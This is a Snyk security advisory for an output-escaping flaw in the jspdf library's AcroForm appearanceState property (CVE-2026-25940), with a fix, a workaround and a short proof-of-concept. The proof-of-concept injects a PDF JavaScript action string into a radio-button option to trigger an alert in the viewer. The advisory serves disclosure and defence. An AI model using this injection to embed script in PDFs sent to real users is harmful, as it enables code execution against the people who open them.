Improper Encoding or Escaping of Output Affecting jspdf package, versions <4.2.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.03% (10th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Encoding or Escaping of Output vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-JSPDF-15322684
  • published20 Feb 2026
  • disclosed19 Feb 2026
  • creditMacabely

Introduced: 19 Feb 2026

NewCVE-2026-25940  (opens in a new tab)
CWE-116  (opens in a new tab)

How to fix?

Upgrade jspdf to version 4.2.0 or higher.

Overview

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the appearanceState property of the AcroForm module. An attacker can execute arbitrary JavaScript code in the context of the PDF viewer by injecting malicious input into this property, which is then triggered when a victim interacts with a crafted PDF file.

Workaround

This vulnerability can be mitigated by sanitizing user input before passing it to the affected API members.

PoC

import { jsPDF } from "jspdf"
const doc = new jsPDF();

const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);

const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";

doc.save("test.pdf");

CVSS Base Scores

version 4.0
version 3.1